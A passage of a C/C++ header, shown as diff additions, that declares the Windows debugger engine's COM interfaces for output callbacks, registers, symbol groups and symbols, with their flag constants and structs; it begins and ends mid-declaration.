InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugOutputCallbacks. + + // This method is not used. + STDMETHOD(Output)( + THIS_ + __in ULONG Mask, + __in PCSTR Text + ) PURE; + + // IDebugOutputCallbacks2. + + // The engine calls GetInterestMask once when + // the callbacks are set for a client. + STDMETHOD(GetInterestMask)( + THIS_ + __out PULONG Mask + ) PURE; + + STDMETHOD(Output2)( + THIS_ + __in ULONG Which, + __in ULONG Flags, + __in ULONG64 Arg, + __in_opt PCWSTR Text + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugRegisters. +// +//---------------------------------------------------------------------------- + +#define DEBUG_REGISTERS_DEFAULT 0x00000000 +#define DEBUG_REGISTERS_INT32 0x00000001 +#define DEBUG_REGISTERS_INT64 0x00000002 +#define DEBUG_REGISTERS_FLOAT 0x00000004 +#define DEBUG_REGISTERS_ALL 0x00000007 + +#define DEBUG_REGISTER_SUB_REGISTER 0x00000001 + +typedef struct _DEBUG_REGISTER_DESCRIPTION +{ + // DEBUG_VALUE type. + ULONG Type; + ULONG Flags; + + // If this is a subregister the full + // registers description index is + // given in SubregMaster. The length, mask + // and shift describe how the subregisters + // bits fit into the full register. + ULONG SubregMaster; + ULONG SubregLength; + ULONG64 SubregMask; + ULONG SubregShift; + + ULONG Reserved0; +} DEBUG_REGISTER_DESCRIPTION, *PDEBUG_REGISTER_DESCRIPTION; + +#undef INTERFACE +#define INTERFACE IDebugRegisters +DECLARE_INTERFACE_(IDebugRegisters, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugRegisters. + STDMETHOD(GetNumberRegisters)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetDescription)( + THIS_ + __in ULONG Register, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PDEBUG_REGISTER_DESCRIPTION Desc + ) PURE; + STDMETHOD(GetIndexByName)( + THIS_ + __in PCSTR Name, + __out PULONG Index + ) PURE; + + STDMETHOD(GetValue)( + THIS_ + __in ULONG Register, + __out PDEBUG_VALUE Value + ) PURE; + // SetValue makes a best effort at coercing + // the given value into the given registers + // value type. If the given value is larger + // than the register can hold the least + // significant bits will be dropped. Float + // to int and int to float will be done + // if necessary. Subregister bits will be + // inserted into the master register. + STDMETHOD(SetValue)( + THIS_ + __in ULONG Register, + __in PDEBUG_VALUE Value + ) PURE; + // Gets Count register values. If Indices is + // non-NULL it must contain Count register + // indices which control the registers affected. + // If Indices is NULL the registers from Start + // to Start + Count 1 are retrieved. + STDMETHOD(GetValues)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __out_ecount(Count) PDEBUG_VALUE Values + ) PURE; + STDMETHOD(SetValues)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __in_ecount(Count) PDEBUG_VALUE Values + ) PURE; + + // Outputs a group of registers in a well-formatted + // way thats specific to the platforms register set. + // Uses the line prefix. + STDMETHOD(OutputRegisters)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // Abstracted pieces of processor information. + // The mapping of these values to architectural + // registers is architecture-specific and their + // interpretation and existence may vary. They + // are intended to be directly compatible with + // calls which take this information, such as + // stack walking. + STDMETHOD(GetInstructionOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(GetStackOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(GetFrameOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; +}; + +// +// The engine maintains several separate +// pieces of context information. There is +// the current debuggee context, a possible +// override context, such as from .cxr, +// a context for the current scope frame and so on. +// + +// Get register information from the debuggee. +#define DEBUG_REGSRC_DEBUGGEE 0x00000000 +// Get register information from an explicit +// override context, such as one set by .cxr. +// If there is no override context the request will fail. +#define DEBUG_REGSRC_EXPLICIT 0x00000001 +// Get register information from the current scope +// frame. Note that stack unwinding does not guarantee +// accurate updating of the register context, +// so scope frame register context may not be accurate +// in all cases. +#define DEBUG_REGSRC_FRAME 0x00000002 + +#undef INTERFACE +#define INTERFACE IDebugRegisters2 +DECLARE_INTERFACE_(IDebugRegisters2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugRegisters. + + STDMETHOD(GetNumberRegisters)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetDescription)( + THIS_ + __in ULONG Register, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PDEBUG_REGISTER_DESCRIPTION Desc + ) PURE; + STDMETHOD(GetIndexByName)( + THIS_ + __in PCSTR Name, + __out PULONG Index + ) PURE; + + STDMETHOD(GetValue)( + THIS_ + __in ULONG Register, + __out PDEBUG_VALUE Value + ) PURE; + // SetValue makes a best effort at coercing + // the given value into the given registers + // value type. If the given value is larger + // than the register can hold the least + // significant bits will be dropped. Float + // to int and int to float will be done + // if necessary. Subregister bits will be + // inserted into the master register. + STDMETHOD(SetValue)( + THIS_ + __in ULONG Register, + __in PDEBUG_VALUE Value + ) PURE; + // Gets Count register values. If Indices is + // non-NULL it must contain Count register + // indices which control the registers affected. + // If Indices is NULL the registers from Start + // to Start + Count 1 are retrieved. + STDMETHOD(GetValues)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __out_ecount(Count) PDEBUG_VALUE Values + ) PURE; + STDMETHOD(SetValues)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __in_ecount(Count) PDEBUG_VALUE Values + ) PURE; + + // Outputs a group of registers in a well-formatted + // way thats specific to the platforms register set. + // Uses the line prefix. + STDMETHOD(OutputRegisters)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags + ) PURE; + + // Abstracted pieces of processor information. + // The mapping of these values to architectural + // registers is architecture-specific and their + // interpretation and existence may vary. They + // are intended to be directly compatible with + // calls which take this information, such as + // stack walking. + STDMETHOD(GetInstructionOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(GetStackOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + STDMETHOD(GetFrameOffset)( + THIS_ + __out PULONG64 Offset + ) PURE; + + // IDebugRegisters2. + + STDMETHOD(GetDescriptionWide)( + THIS_ + __in ULONG Register, + __out_ecount_opt(NameBufferSize) PWSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PDEBUG_REGISTER_DESCRIPTION Desc + ) PURE; + STDMETHOD(GetIndexByNameWide)( + THIS_ + __in PCWSTR Name, + __out PULONG Index + ) PURE; + + // Pseudo-registers are synthetic values derived + // by the engine that are presented in a manner + // similar to regular registers. They are simple + // value holders, similar to actual registers. + // Pseudo-registers are defined for concepts, + // such as current-instruction-pointer or + // current-thread-data. As such they have + // types appropriate for their data. + STDMETHOD(GetNumberPseudoRegisters)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetPseudoDescription)( + THIS_ + __in ULONG Register, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 TypeModule, + __out_opt PULONG TypeId + ) PURE; + STDMETHOD(GetPseudoDescriptionWide)( + THIS_ + __in ULONG Register, + __out_ecount_opt(NameBufferSize) PWSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 TypeModule, + __out_opt PULONG TypeId + ) PURE; + STDMETHOD(GetPseudoIndexByName)( + THIS_ + __in PCSTR Name, + __out PULONG Index + ) PURE; + STDMETHOD(GetPseudoIndexByNameWide)( + THIS_ + __in PCWSTR Name, + __out PULONG Index + ) PURE; + // Some pseudo-register values are affected + // by the register source, others are not. + STDMETHOD(GetPseudoValues)( + THIS_ + __in ULONG Source, + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __out_ecount(Count) PDEBUG_VALUE Values + ) PURE; + // Many pseudo-registers are read-only and cannot be set. + STDMETHOD(SetPseudoValues)( + THIS_ + __in ULONG Source, + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __in_ecount(Count) PDEBUG_VALUE Values + ) PURE; + + // These expanded methods allow selection + // of the source of register information. + STDMETHOD(GetValues2)( + THIS_ + __in ULONG Source, + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __out_ecount(Count) PDEBUG_VALUE Values + ) PURE; + STDMETHOD(SetValues2)( + THIS_ + __in ULONG Source, + __in ULONG Count, + __in_ecount_opt(Count) PULONG Indices, + __in ULONG Start, + __in_ecount(Count) PDEBUG_VALUE Values + ) PURE; + STDMETHOD(OutputRegisters2)( + THIS_ + __in ULONG OutputControl, + __in ULONG Source, + __in ULONG Flags + ) PURE; + STDMETHOD(GetInstructionOffset2)( + THIS_ + __in ULONG Source, + __out PULONG64 Offset + ) PURE; + STDMETHOD(GetStackOffset2)( + THIS_ + __in ULONG Source, + __out PULONG64 Offset + ) PURE; + STDMETHOD(GetFrameOffset2)( + THIS_ + __in ULONG Source, + __out PULONG64 Offset + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugSymbolGroup +// +//---------------------------------------------------------------------------- + +// OutputSymbols flags. +// Default output contains +// **NAME****OFF****VALUE****TYPE** +// per symbol. +#define DEBUG_OUTPUT_SYMBOLS_DEFAULT 0x00000000 +#define DEBUG_OUTPUT_SYMBOLS_NO_NAMES 0x00000001 +#define DEBUG_OUTPUT_SYMBOLS_NO_OFFSETS 0x00000002 +#define DEBUG_OUTPUT_SYMBOLS_NO_VALUES 0x00000004 +#define DEBUG_OUTPUT_SYMBOLS_NO_TYPES 0x00000010 + +#define DEBUG_OUTPUT_NAME_END "**NAME**" +#define DEBUG_OUTPUT_OFFSET_END "**OFF**" +#define DEBUG_OUTPUT_VALUE_END "**VALUE**" +#define DEBUG_OUTPUT_TYPE_END "**TYPE**" + +#define DEBUG_OUTPUT_NAME_END_WIDE L"**NAME**" +#define DEBUG_OUTPUT_OFFSET_END_WIDE L"**OFF**" +#define DEBUG_OUTPUT_VALUE_END_WIDE L"**VALUE**" +#define DEBUG_OUTPUT_TYPE_END_WIDE L"**TYPE**" + +#ifdef UNICODE +#define DEBUG_OUTPUT_NAME_END_T DEBUG_OUTPUT_NAME_END_WIDE +#define DEBUG_OUTPUT_OFFSET_END_T DEBUG_OUTPUT_OFFSET_END_WIDE +#define DEBUG_OUTPUT_VALUE_END_T DEBUG_OUTPUT_VALUE_END_WIDE +#define DEBUG_OUTPUT_TYPE_END_T DEBUG_OUTPUT_TYPE_END_WIDE +#else +#define DEBUG_OUTPUT_NAME_END_T DEBUG_OUTPUT_NAME_END +#define DEBUG_OUTPUT_OFFSET_END_T DEBUG_OUTPUT_OFFSET_END +#define DEBUG_OUTPUT_VALUE_END_T DEBUG_OUTPUT_VALUE_END +#define DEBUG_OUTPUT_TYPE_END_T DEBUG_OUTPUT_TYPE_END +#endif + +// DEBUG_SYMBOL_PARAMETERS flags. +// Cumulative expansion level, takes four bits. +#define DEBUG_SYMBOL_EXPANSION_LEVEL_MASK 0x0000000f +// Symbols subelements follow. +#define DEBUG_SYMBOL_EXPANDED 0x00000010 +// Symbols value is read-only. +#define DEBUG_SYMBOL_READ_ONLY 0x00000020 +// Symbol subelements are array elements. +#define DEBUG_SYMBOL_IS_ARRAY 0x00000040 +// Symbol is a float value. +#define DEBUG_SYMBOL_IS_FLOAT 0x00000080 +// Symbol is a scope argument. +#define DEBUG_SYMBOL_IS_ARGUMENT 0x00000100 +// Symbol is a scope argument. +#define DEBUG_SYMBOL_IS_LOCAL 0x00000200 + +typedef struct _DEBUG_SYMBOL_PARAMETERS +{ + ULONG64 Module; + ULONG TypeId; + // ParentSymbol may be DEBUG_ANY_ID when unknown. + ULONG ParentSymbol; + // A subelement of a symbol can be a field, such + // as in structs, unions or classes; or an array + // element count for arrays. + ULONG SubElements; + ULONG Flags; + ULONG64 Reserved; +} DEBUG_SYMBOL_PARAMETERS, *PDEBUG_SYMBOL_PARAMETERS; + +#undef INTERFACE +#define INTERFACE IDebugSymbolGroup +DECLARE_INTERFACE_(IDebugSymbolGroup, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSymbolGroup. + STDMETHOD(GetNumberSymbols)( + THIS_ + __out PULONG Number + ) PURE; + // On input Index indicates the desired insertion + // index. On output Index contains the actual index. + // Use DEBUG_ANY_ID to append a symbol to the end. + STDMETHOD(AddSymbol)( + THIS_ + __in PCSTR Name, + __inout PULONG Index + ) PURE; + STDMETHOD(RemoveSymbolByName)( + THIS_ + __in PCSTR Name + ) PURE; + STDMETHOD(RemoveSymbolByIndex)( + THIS_ + __in ULONG Index + ) PURE; + STDMETHOD(GetSymbolName)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + STDMETHOD(GetSymbolParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PDEBUG_SYMBOL_PARAMETERS Params + ) PURE; + STDMETHOD(ExpandSymbol)( + THIS_ + __in ULONG Index, + __in BOOL Expand + ) PURE; + // Uses the line prefix. + STDMETHOD(OutputSymbols)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in ULONG Start, + __in ULONG Count + ) PURE; + STDMETHOD(WriteSymbol)( + THIS_ + __in ULONG Index, + __in PCSTR Value + ) PURE; + STDMETHOD(OutputAsType)( + THIS_ + __in ULONG Index, + __in PCSTR Type + ) PURE; +}; + +#define DEBUG_SYMENT_IS_CODE 0x00000001 +#define DEBUG_SYMENT_IS_DATA 0x00000002 +#define DEBUG_SYMENT_IS_PARAMETER 0x00000004 +#define DEBUG_SYMENT_IS_LOCAL 0x00000008 +#define DEBUG_SYMENT_IS_MANAGED 0x00000010 +#define DEBUG_SYMENT_IS_SYNTHETIC 0x00000020 + +typedef struct _DEBUG_SYMBOL_ENTRY +{ + ULONG64 ModuleBase; + ULONG64 Offset; + ULONG64 Id; + ULONG64 Arg64; + ULONG Size; + ULONG Flags; + ULONG TypeId; + ULONG NameSize; + ULONG Token; + ULONG Tag; + ULONG Arg32; + ULONG Reserved; +} DEBUG_SYMBOL_ENTRY, *PDEBUG_SYMBOL_ENTRY; + +#undef INTERFACE +#define INTERFACE IDebugSymbolGroup2 +DECLARE_INTERFACE_(IDebugSymbolGroup2, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSymbolGroup. + + STDMETHOD(GetNumberSymbols)( + THIS_ + __out PULONG Number + ) PURE; + // On input Index indicates the desired insertion + // index. On output Index contains the actual index. + // Use DEBUG_ANY_ID to append a symbol to the end. + STDMETHOD(AddSymbol)( + THIS_ + __in PCSTR Name, + __inout PULONG Index + ) PURE; + STDMETHOD(RemoveSymbolByName)( + THIS_ + __in PCSTR Name + ) PURE; + STDMETHOD(RemoveSymbolByIndex)( + THIS_ + __in ULONG Index + ) PURE; + STDMETHOD(GetSymbolName)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + STDMETHOD(GetSymbolParameters)( + THIS_ + __in ULONG Start, + __in ULONG Count, + __out_ecount(Count) PDEBUG_SYMBOL_PARAMETERS Params + ) PURE; + STDMETHOD(ExpandSymbol)( + THIS_ + __in ULONG Index, + __in BOOL Expand + ) PURE; + // Uses the line prefix. + STDMETHOD(OutputSymbols)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in ULONG Start, + __in ULONG Count + ) PURE; + STDMETHOD(WriteSymbol)( + THIS_ + __in ULONG Index, + __in PCSTR Value + ) PURE; + STDMETHOD(OutputAsType)( + THIS_ + __in ULONG Index, + __in PCSTR Type + ) PURE; + + // IDebugSymbolGroup2. + + STDMETHOD(AddSymbolWide)( + THIS_ + __in PCWSTR Name, + __inout PULONG Index + ) PURE; + STDMETHOD(RemoveSymbolByNameWide)( + THIS_ + __in PCWSTR Name + ) PURE; + STDMETHOD(GetSymbolNameWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + STDMETHOD(WriteSymbolWide)( + THIS_ + __in ULONG Index, + __in PCWSTR Value + ) PURE; + STDMETHOD(OutputAsTypeWide)( + THIS_ + __in ULONG Index, + __in PCWSTR Type + ) PURE; + + STDMETHOD(GetSymbolTypeName)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + STDMETHOD(GetSymbolTypeNameWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + STDMETHOD(GetSymbolSize)( + THIS_ + __in ULONG Index, + __out PULONG Size + ) PURE; + // If the symbol has an absolute address + // this method will retrieve it. + STDMETHOD(GetSymbolOffset)( + THIS_ + __in ULONG Index, + __out PULONG64 Offset + ) PURE; + // If the symbol is enregistered this + // method will return the register index. + STDMETHOD(GetSymbolRegister)( + THIS_ + __in ULONG Index, + __out PULONG Register + ) PURE; + STDMETHOD(GetSymbolValueText)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + STDMETHOD(GetSymbolValueTextWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize + ) PURE; + STDMETHOD(GetSymbolEntryInformation)( + THIS_ + __in ULONG Index, + __out PDEBUG_SYMBOL_ENTRY Entry + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugSymbols. +// +//---------------------------------------------------------------------------- + +// +// Information about a module. +// + +// Flags. +#define DEBUG_MODULE_LOADED 0x00000000 +#define DEBUG_MODULE_UNLOADED 0x00000001 +#define DEBUG_MODULE_USER_MODE 0x00000002 +#define DEBUG_MODULE_EXE_MODULE 0x00000004 +#define DEBUG_MODULE_EXPLICIT 0x00000008 +#define DEBUG_MODULE_SECONDARY 0x00000010 +#define DEBUG_MODULE_SYNTHETIC 0x00000020 +#define DEBUG_MODULE_SYM_BAD_CHECKSUM 0x00010000 + +// Symbol types. +#define DEBUG_SYMTYPE_NONE 0 +#define DEBUG_SYMTYPE_COFF 1 +#define DEBUG_SYMTYPE_CODEVIEW 2 +#define DEBUG_SYMTYPE_PDB 3 +#define DEBUG_SYMTYPE_EXPORT 4 +#define DEBUG_SYMTYPE_DEFERRED 5 +#define DEBUG_SYMTYPE_SYM 6 +#define DEBUG_SYMTYPE_DIA 7 + +typedef struct _DEBUG_MODULE_PARAMETERS +{ + ULONG64 Base; + ULONG Size; + ULONG TimeDateStamp; + ULONG Checksum; + ULONG Flags; + ULONG SymbolType; + ULONG ImageNameSize; + ULONG ModuleNameSize; + ULONG LoadedImageNameSize; + ULONG SymbolFileNameSize; + ULONG MappedImageNameSize; + ULONG64 Reserved[2]; +} DEBUG_MODULE_PARAMETERS, *PDEBUG_MODULE_PARAMETERS; + +// Scope arguments are function arguments +// and thus only change when the scope +// crosses functions. +#define DEBUG_SCOPE_GROUP_ARGUMENTS 0x00000001 +// Scope locals are locals declared in a particular +// scope and are only defined within that scope. +#define DEBUG_SCOPE_GROUP_LOCALS 0x00000002 +// All symbols in the scope. +#define DEBUG_SCOPE_GROUP_ALL 0x00000003 + +// Typed data output control flags. +#define DEBUG_OUTTYPE_DEFAULT 0x00000000 +#define DEBUG_OUTTYPE_NO_INDENT 0x00000001 +#define DEBUG_OUTTYPE_NO_OFFSET 0x00000002 +#define DEBUG_OUTTYPE_VERBOSE 0x00000004 +#define DEBUG_OUTTYPE_COMPACT_OUTPUT 0x00000008 +#define DEBUG_OUTTYPE_RECURSION_LEVEL(Max) (((Max) & 0xf) << 4) +#define DEBUG_OUTTYPE_ADDRESS_OF_FIELD 0x00010000 +#define DEBUG_OUTTYPE_ADDRESS_AT_END 0x00020000 +#define DEBUG_OUTTYPE_BLOCK_RECURSE 0x00200000 + +// FindSourceFile flags. +#define DEBUG_FIND_SOURCE_DEFAULT 0x00000000 +// Returns fully-qualified paths only. If this +// is not set the path returned may be relative. +#define DEBUG_FIND_SOURCE_FULL_PATH 0x00000001 +// Scans all the path elements for a match and +// returns the one that has the most similarity +// between the given file and the matching element. +#define DEBUG_FIND_SOURCE_BEST_MATCH 0x00000002 +// Do not search source server paths. +#define DEBUG_FIND_SOURCE_NO_SRCSRV 0x00000004 +// Restrict FindSourceFileAndToken to token lookup only. +#define DEBUG_FIND_SOURCE_TOKEN_LOOKUP 0x00000008 + +// A special value marking an offset that should not +// be treated as a valid offset. This is only used +// in special situations where it is unlikely that +// this value would be a valid offset. +#define DEBUG_INVALID_OFFSET ((ULONG64)-1) + +// Module index sort order used by GetModuleByIndex() API. +#define MODULE_ORDERS_MASK 0xF0000000 +#define MODULE_ORDERS_LOADTIME 0x10000000 +#define MODULE_ORDERS_MODULENAME 0x20000000 + +#undef INTERFACE +#define INTERFACE IDebugSymbols +DECLARE_INTERFACE_(IDebugSymbols, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugSymbols. + + // Controls the symbol options used during + // symbol operations. + // Uses the same flags as dbghelps SymSetOptions. + STDMETHOD(GetSymbolOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetSymbolOptions)( + THIS_ + __in ULONG Options + ) PURE; + + STDMETHOD(GetNameByOffset)( + THIS_ + __in ULONG64 Offset, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + // A symbol name may not be unique, particularly + // when overloaded functions exist which all + // have the same name. If GetOffsetByName + // finds multiple matches for the name it + // can return any one of them. In that + // case it will return S_FALSE to indicate + // that ambiguity was arbitrarily resolved. + // A caller can then use SearchSymbols to + // find all of the matches if it wishes to + // perform different disambiguation. + STDMETHOD(GetOffsetByName)( + THIS_ + __in PCSTR Symbol, + __out PULONG64 Offset + ) PURE; + // GetNearNameByOffset returns symbols + // located near the symbol closest to + // to the offset, such as the previous + // or next symbol. If Delta is zero it + // operates identically to GetNameByOffset. + // If Delta is nonzero and such a symbol + // does not exist an error is returned. + // The next symbol, if one exists, will + // always have a higher offset than the + // input offset so the displacement is + // always negative. The situation is + // reversed for the previous symbol. + STDMETHOD(GetNearNameByOffset)( + THIS_ + __in ULONG64 Offset, + __in LONG Delta, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Displacement + ) PURE; + + STDMETHOD(GetLineByOffset)( + THIS_ + __in ULONG64 Offset, + __out_opt PULONG Line, + __out_ecount_opt(FileBufferSize) PSTR FileBuffer, + __in ULONG FileBufferSize, + __out_opt PULONG FileSize, + __out_opt PULONG64 Displacement + ) PURE; + STDMETHOD(GetOffsetByLine)( + THIS_ + __in ULONG Line, + __in PCSTR File, + __out PULONG64 Offset + ) PURE; + + // Enumerates the engines list of modules + // loaded for the current process. This may + // or may not match the system module list + // for the process. Reload can be used to + // synchronize the engines list with the system + // if necessary. + // Some sessions also track recently unloaded + // code modules for help in analyzing failures + // where an attempt is made to call unloaded code. + // These modules are indexed after the loaded + // modules. + STDMETHOD(GetNumberModules)( + THIS_ + __out PULONG Loaded, + __out PULONG Unloaded + ) PURE; + STDMETHOD(GetModuleByIndex)( + THIS_ + __in ULONG Index, + __out PULONG64 Base + ) PURE; + // The module name may not be unique. + // This method returns the first match. + STDMETHOD(GetModuleByModuleName)( + THIS_ + __in PCSTR Name, + __in ULONG StartIndex, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + // Offset can be any offset within + // the module extent. Extents may + // not be unique when including unloaded + // drivers. This method returns the + // first match. + STDMETHOD(GetModuleByOffset)( + THIS_ + __in ULONG64 Offset, + __in ULONG StartIndex, + __out_opt PULONG Index, + __out_opt PULONG64 Base + ) PURE; + // If Index is DEBUG_ANY_ID the base address + // is used to look up the module instead. + STDMETHOD(GetModuleNames)( + THIS_ + __in ULONG Index, + __in ULONG64 Base, + __out_ecount_opt(ImageNameBufferSize) PSTR ImageNameBuffer, + __in ULONG ImageNameBufferSize, + __out_opt PULONG ImageNameSize, + __out_ecount_opt(ModuleNameBufferSize) PSTR ModuleNameBuffer, + __in ULONG ModuleNameBufferSize, + __out_opt PULONG ModuleNameSize, + __out_ecount_opt(LoadedImageNameBufferSize) PSTR LoadedImageNameBuffer, + __in ULONG LoadedImageNameBufferSize, + __out_opt PULONG LoadedImageNameSize + ) PURE; + STDMETHOD(GetModuleParameters)( + THIS_ + __in ULONG Count, + __in_ecount_opt(Count) PULONG64 Bases, + __in ULONG Start, + __out_ecount(Count) PDEBUG_MODULE_PARAMETERS Params + ) PURE; + // Looks up the module from a ! + // string. + STDMETHOD(GetSymbolModule)( + THIS_ + __in PCSTR Symbol, + __out PULONG64 Base + ) PURE; + + // Returns the string name of a type. + STDMETHOD(GetTypeName)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __out_ecount_opt(NameBufferSize) PSTR NameBuffer, + __in ULONG NameBufferSize, + __out_opt PULONG NameSize + ) PURE; + // Returns the ID for a type name. + STDMETHOD(GetTypeId)( + THIS_ + __in ULONG64 Module, + __in PCSTR Name, + __out PULONG TypeId + ) PURE; + STDMETHOD(GetTypeSize)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __out PULONG Size + ) PURE; + // Given a type which can contain members + // this method returns the offset of a + // particular member within the type. + // TypeId should give the container type ID + // and Field gives the dot-separated path + // to the field of interest. + STDMETHOD(GetFieldOffset)( + THIS_ + __in ULONG64 Module, + __in ULONG TypeId, + __in PCSTR Field, + __out PULONG Offset + ) PURE; + + STDMETHOD(GetSymbolTypeId)( + THIS_ + __in PCSTR Symbol, + __out PULONG TypeId, + __out_opt PULONG64 Module + ) PURE; + // As with GetOffsetByName a symbol's + // name may be ambiguous. GetOffsetTypeId + // returns the type for the symbol closest + // to the given offset and can be used + // to avoid ambiguity. + STDMETHOD(GetOffsetTypeId)( + THIS_ + __in ULONG64 Offset, + __out PULONG TypeId, + __out_opt PULONG64 Module + ) PURE; + + // Helpers for virtual and physical data + // which combine creation of a location with + // the actual operation. + STDMETHOD(ReadTypedDataVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteTypedDataVirtual)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(OutputTypedDataVirtual)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG Flags + ) PURE; + STDMETHOD(ReadTypedDataPhysical)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __out_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesRead + ) PURE; + STDMETHOD(WriteTypedDataPhysical)( + THIS_ + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in_bcount(BufferSize) PVOID Buffer, + __in ULONG BufferSize, + __out_opt PULONG BytesWritten + ) PURE; + STDMETHOD(OutputTypedDataPhysical)( + THIS_ + __in ULONG OutputControl, + __in ULONG64 Offset, + __in ULONG64 Module, + __in ULONG TypeId, + __in ULONG Flags + ) PURE; + + // Function arguments and scope block symbols + // can be retrieved relative to currently + // executing code. A caller can provide just + // a code offset for scoping purposes and look + // up names or the caller can provide a full frame + // and look up actual values. The values for + // scoped symbols are best-guess and may or may not + // be accurate depending on program optimizations, + // the machine architecture, the current point + // in the programs execution and so on. + // A caller can also provide a complete register + // context for setting a scope to a previous + // machine state such as a context saved for + // an exception. Usually this isnt necessary + // and 